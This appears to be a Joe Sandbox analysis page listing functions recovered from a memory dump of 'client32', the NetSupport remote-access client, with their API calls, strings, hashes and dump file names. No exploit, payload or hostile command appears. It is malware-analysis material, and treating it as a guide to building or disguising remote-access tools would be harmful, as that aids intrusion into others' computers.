Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ItemMenu$Info$CheckCountEnable_memset
String ID: 0
API String ID: 2755257978-4108050209
Opcode ID: 64426ca387f460fb7a01fd0aca5c54c25300771ffc0ff337154cefcaf6503ee4
Instruction ID: 3498b13fe94e5af900cf0a89c9b181a4bb2b9f9614c8d31ca7af4f255d02c70f
Opcode Fuzzy Hash: 64426ca387f460fb7a01fd0aca5c54c25300771ffc0ff337154cefcaf6503ee4
Instruction Fuzzy Hash: AB31A170D41219ABEB01DFA4C988BDEBBFCEF46398F008059F851EB250D7B59A44CB60

Function 11131730 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 102registrystringmemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\ProductOptions,00000000,00020019,?,75920BD0,00000000,?,?,?,1113832B,Terminal Server), ref: 1113176C
RegCloseKey.ADVAPI32(?,?,?,?,1113832B,Terminal Server), ref: 1113181D

Part of subcall function 11143BD0: RegQueryValueExA.KERNEL32(00000000,?,?,00000000,00000000,00000000,1111025B,75A78400,?,?,11145D2F,00000000,CSDVersion,00000000,00000000,?), ref: 11143BF0

LocalAlloc.KERNEL32(00000040,1113832B,00000000,?,?,?,?,?,?,?,?,?,?,?,1113832B,Terminal Server), ref: 111317A4
lstrcmpA.KERNEL32(00000000,?), ref: 111317E6
lstrlenA.KERNEL32(00000000), ref: 111317ED
LocalFree.KERNEL32(00000000), ref: 11131808

Strings

ProductSuite, xrefs: 11131787, 111317BD
System\CurrentControlSet\Control\ProductOptions, xrefs: 1113175D

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Local$AllocCloseFreeOpenQueryValuelstrcmplstrlen
String ID: ProductSuite$System\CurrentControlSet\Control\ProductOptions
API String ID: 2999768849-588814233
Opcode ID: ecb84a4cf3fbf479d0a09f1b815cb519d276a5df4c85cacf1ff69a98aeca7d6a
Instruction ID: 2515fb7f011805fb85e8c25417bcbf5fc72413bf415e28cc1fef82dce871dec7
Opcode Fuzzy Hash: ecb84a4cf3fbf479d0a09f1b815cb519d276a5df4c85cacf1ff69a98aeca7d6a
Instruction Fuzzy Hash: 323163B6D1425DBFEB11CFA5CD84EAEF7BCAB84619F1441A8E814A3604D730AA0487A5

Function 1101D720 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 100registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 1101D750
GetClassInfoExA.USER32(00000000,NSMChatSizeWnd,?), ref: 1101D76A
_memset.LIBCMT ref: 1101D77A
RegisterClassExA.USER32(?), ref: 1101D7BB
CreateWindowExA.USER32(00000000,NSMChatSizeWnd,11195264,00CF0000,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 1101D7EE
GetWindowRect.USER32(00000000,?), ref: 1101D7FB
DestroyWindow.USER32(00000000), ref: 1101D802

Strings

NSMChatSizeWnd, xrefs: 1101D75C, 1101D7B1, 1101D7E8

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$Class_memset$CreateDestroyInfoRectRegister
String ID: NSMChatSizeWnd
API String ID: 2883038198-4119039562
Opcode ID: 4a493ff1cb6d2adaa5d9d5f451e97c7e27dd5ac9b7e193787943fcead3d8059b
Instruction ID: fd9a6760edc21507823d477136c8404e9cdc8da2703fb475a86e8304a251f150
Opcode Fuzzy Hash: 4a493ff1cb6d2adaa5d9d5f451e97c7e27dd5ac9b7e193787943fcead3d8059b
Instruction Fuzzy Hash: 8E3130B5D0120DAFDB10DFA5DDC4AEEF7B8FB48218F20452DE82AB6240D7356905CB50

Function 11033470 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 97registryclipboardCOMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 110334CA
_memset.LIBCMT ref: 11033501
RegisterClipboardFormatA.USER32(?), ref: 11033529
GetLastError.KERNEL32 ref: 11033534

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

_memmove.LIBCMT ref: 1103357E

Strings

(*ppClipData)->pData, xrefs: 110334E8
..\ctl32\clipbrd.cpp, xrefs: 110334A8, 110334E3
!*ppClipData, xrefs: 110334AD

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLast$ClipboardExitFormatMessageProcessRegister_malloc_memmove_memsetwsprintf
String ID: !*ppClipData$(*ppClipData)->pData$..\ctl32\clipbrd.cpp
API String ID: 2414640225-228067302
Opcode ID: 4806dd2360c89aae23173ee0d242eaa753ef1fe839067c9f549e94da566ade4d
Instruction ID: 82b91b0b5d2de246ea4be34add9884a3f681a3774444f6be8ea8d99c2c4d4bf7
Opcode Fuzzy Hash: 4806dd2360c89aae23173ee0d242eaa753ef1fe839067c9f549e94da566ade4d
Instruction Fuzzy Hash: C7316F79A00706ABD714DF64C881B6AF3F4FF88708F14C558E9599B341EB71E954CB90

Function 11027040 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 94sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000032), ref: 110270E9
GetTickCount.KERNEL32 ref: 110270F7
GetTickCount.KERNEL32 ref: 11027107

Strings

HandleIPC ret %x, took %d ms, xrefs: 11027110
IPC copydata, dw=%d, cb=%d, pv=x%x, sender=x%x (%d), xrefs: 11027079
IPC, what=%d, msg=x%x, wP=x%x, lP=x%x, timeout=%d, sender=x%x (%d), xrefs: 11027098
Warning. IPC msg but no wnd. Waiting..., xrefs: 110270BF
Warning. IPC took %d ms - possible unresponsiveness, xrefs: 11027127

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick$Sleep
String ID: HandleIPC ret %x, took %d ms$IPC copydata, dw=%d, cb=%d, pv=x%x, sender=x%x (%d)$IPC, what=%d, msg=x%x, wP=x%x, lP=x%x, timeout=%d, sender=x%x (%d)$Warning. IPC msg but no wnd. Waiting...$Warning. IPC took %d ms - possible unresponsiveness
API String ID: 4250438611-314227603
Opcode ID: cf922524ba4b939dac619c14ad9c82c8a96acbc09ed8cabbbd0cfb614c38f24c
Instruction ID: 36f6635ed5369738cce6f54d2d5b10a636314f1ad60547d54338f1edfc411986
Opcode Fuzzy Hash: cf922524ba4b939dac619c14ad9c82c8a96acbc09ed8cabbbd0cfb614c38f24c
Instruction Fuzzy Hash: FF21C379E01619EBD321DFA5DCD0EABF7ADEB95218F104529F81943600DB31AC44C7A2

Function 11009500 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 92fileCOMMON

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 1100953A
_strncmp.LIBCMT ref: 1100954A
WriteFile.KERNEL32(00000000,?,?,00000000,00000000,?,?,?,?,?,?,?,EFF676FC), ref: 110095EB

Strings

IsA(), xrefs: 110095A5, 110095CD
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 110095A0, 110095C8
<tr><td valign="middle" align="center"><p align="center"><img border="0" src="%s" align="left" width="16"> </p></td><td><p align="left"><font face="Verdana, Arial, Helvetica, sans-serif" size="2"><a>%s</a></font></p></td><td> </td><td , xrefs: 11009571
https://, xrefs: 1100952F
http://, xrefs: 11009535, 11009548

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _strncmp$FileWrite
String ID: <tr><td valign="middle" align="center"><p align="center"><img border="0" src="%s" align="left" width="16"> </p></td><td><p align="left"><font face="Verdana, Arial, Helvetica, sans-serif" size="2"><a>%s</a></font></p></td><td> </td><td $IsA()$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$http://$https://
API String ID: 1635020204-3154135529
Opcode ID: 792e616861f9a4ae8c30573813f2543d714be5633bae0a01c5bd2a42a3bb713b
Instruction ID: 3ad994666f9f4a7bc5965cb6aac6b353dc675ffe3b9ee49526350f7e9061b273
Opcode Fuzzy Hash: 792e616861f9a4ae8c30573813f2543d714be5633bae0a01c5bd2a42a3bb713b
Instruction Fuzzy Hash: D3318D75E0061AABDB00CF95CC45FDEB7B8FF49254F004259E825B7280E731A504CBB0

Function 11027450 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetWindowTextA.USER32(?,?,00000080), ref: 11027474
GetClassNameA.USER32(?,?,00000080), ref: 1102749F
GetDlgItem.USER32(?,00000001), ref: 110274C8
GetDlgItem.USER32(?,00000004), ref: 110274CF
GetDlgItem.USER32(?,00000008), ref: 110274DA
PostMessageA.USER32(?,00000010,00000000,00000000), ref: 110274F6

Strings

#32770, xrefs: 110274AB
Tapiexe, xrefs: 11027480

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Item$ClassMessageNamePostTextWindow
String ID: #32770$Tapiexe
API String ID: 3170390011-3313516769
Opcode ID: c0ef354846b222e435f384819da54f80d37799a52fb5b20f16ffd1bead33262d
Instruction ID: 1b12e394e200b75f11f599ec6ab4d64d4751b928bcc344eaa962945fc7b69462
Opcode Fuzzy Hash: c0ef354846b222e435f384819da54f80d37799a52fb5b20f16ffd1bead33262d
Instruction Fuzzy Hash: E721BB31E4022D6BEB20DA659D41FDEF7ACEF69709F4000A5F641A61C0DFF56A44CB90

Function 11023390 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 70windowCOMMON

Download Yara Rule

APIs

GetDlgItemTextA.USER32(?,?,?,00000100), ref: 110233C2

Part of subcall function 1101FFB0: wsprintfA.USER32 ref: 11020078

SetDlgItemTextA.USER32(?,?,11195264), ref: 110233FD
GetDlgItem.USER32(?,?), ref: 11023414
SetFocus.USER32(00000000), ref: 11023417
GetDlgItem.USER32(00000000,?), ref: 11023445
EnableWindow.USER32(00000000,00000000), ref: 1102344A

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\nsmdlg.h, xrefs: 1102342E
m_hWnd, xrefs: 11023433

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Item$Textwsprintf$EnableErrorExitFocusLastMessageProcessWindow
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\nsmdlg.h$m_hWnd
API String ID: 1605826578-1986719024
Opcode ID: f36cc34cc9a969abcf6566481c33c0cc2ea65c20e1744d3420329027fe5297bf
Instruction ID: 8db35bf72fe99370d3eedeccbec7b94c25a8ea314d3c8a10113fa065dea7662b
Opcode Fuzzy Hash: f36cc34cc9a969abcf6566481c33c0cc2ea65c20e1744d3420329027fe5297bf
Instruction Fuzzy Hash: F721BB79600718ABD724DBA1CC85FABF3BCEB84718F00445DF66697640CA74BC45CB64

Function 6EEF5F20 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 68sleepwindowCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,?), ref: 6EEF5F77
wsprintfA.USER32 ref: 6EEF5FB2
MessageBoxA.USER32(00000000,?,NetSupport,00000004), ref: 6EEF5FC7
Sleep.KERNEL32(00000000), ref: 6EEF5FFF

Strings

NetSupport, xrefs: 6EEF5FBC
*LineSpeed, xrefs: 6EEF5F41
Limit transmission speed to %d bps?, xrefs: 6EEF5FAC
_Debug, xrefs: 6EEF5F46

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: MessageSleepVersionwsprintf
String ID: *LineSpeed$Limit transmission speed to %d bps?$NetSupport$_Debug
API String ID: 1064562911-2508291834
Opcode ID: cb207f903e482c1006e82178c2c2bd1e41594ed669c1a391cb6981bc2b889b5e
Instruction ID: 40d7918391f053bc67478fc6d9ff0440c052c17a7c97440eae05c2e2a9a59f8a
Opcode Fuzzy Hash: cb207f903e482c1006e82178c2c2bd1e41594ed669c1a391cb6981bc2b889b5e
Instruction Fuzzy Hash: 0621C372E10428DBDF20DBE4CD54B9D77BAEB45304F2005AAE90AAB280E7719D55CBE0

Function 11145120 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(?), ref: 1114513D
_memset.LIBCMT ref: 1114515E
GetMenuItemInfoA.USER32(?,00000000,00000001,?), ref: 1114519B
CreatePopupMenu.USER32 ref: 111451AA
GetMenuItemCount.USER32(?), ref: 111451D3
InsertMenuItemA.USER32(?,00000000,00000001,00000030), ref: 111451E4
GetMenuItemCount.USER32(?), ref: 111451EB

Strings

0, xrefs: 11145177

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$Item$Count$CreateInfoInsertPopup_memset
String ID: 0
API String ID: 74472576-4108050209
Opcode ID: b25f34294336de4f8839e45289e2c114ec1c9262bee8a9cac9f6491c5d519ada
Instruction ID: c294618d83ba700a36b9fba62bf733376f49e09b6547452e6c31807948eb4840
Opcode Fuzzy Hash: b25f34294336de4f8839e45289e2c114ec1c9262bee8a9cac9f6491c5d519ada
Instruction Fuzzy Hash: 7A21AC7180022CABDB24DF50DC88BEEF7B8EB49719F0040A8E519A6540CBB45B84CFA0

Function 6EF29FC7 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

UnDecorator::UScore.LIBCMT ref: 6EF29FD1
DName::DName.LIBCMT ref: 6EF29FDD

Part of subcall function 6EF27CA8: DName::doPchar.LIBCMT ref: 6EF27CD9

UnDecorator::getScopedName.LIBCMT ref: 6EF2A01C
DName::operator+=.LIBCMT ref: 6EF2A026
DName::operator+=.LIBCMT ref: 6EF2A035
DName::operator+=.LIBCMT ref: 6EF2A041
DName::operator+=.LIBCMT ref: 6EF2A04E

Strings

void, xrefs: 6EF2A02D

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: Name::operator+=$Name$Decorator::Decorator::getName::Name::doPcharScopedScore
String ID: void
API String ID: 1480779885-3531332078
Opcode ID: 72be3ffd6130ad630e8959f330de3188f402a4f8b78123f2926f246d394edb5f
Instruction ID: 07e3fcc45c4f691c8b36cfd5b792d73ed5752b0de009e021ac5181a5c601aefa
Opcode Fuzzy Hash: 72be3ffd6130ad630e8959f330de3188f402a4f8b78123f2926f246d394edb5f
Instruction Fuzzy Hash: B9118E71904644AFDB05DFE4C875BED7BB8AF41304F0484BAD4029F2E1DB709A45CB91

Function 11039710 Relevance: 13.6, APIs: 9, Instructions: 132windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 11039768
GetDlgItem.USER32(00000000,00000001), ref: 11039771
IsWindowEnabled.USER32(00000000), ref: 11039778
PostMessageA.USER32(?,00000100,00000009,000F0001), ref: 110397A5
GetParent.USER32(?), ref: 110397B6
GetWindowRect.USER32(?,?), ref: 110397C3
IntersectRect.USER32(?,?,?), ref: 110397FC
GetWindowRect.USER32(00000000,?), ref: 11039836
SetWindowPos.USER32(00000000,00000000,?,?,00000000,00000000,00000015), ref: 11039855

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$Rect$Parent$EnabledIntersectItemMessagePost
String ID:
API String ID: 818519836-0
Opcode ID: 33344d5b3ab49040102bd7daff6fd58b1d3f5c5988b71863a939ad33b6b593f0
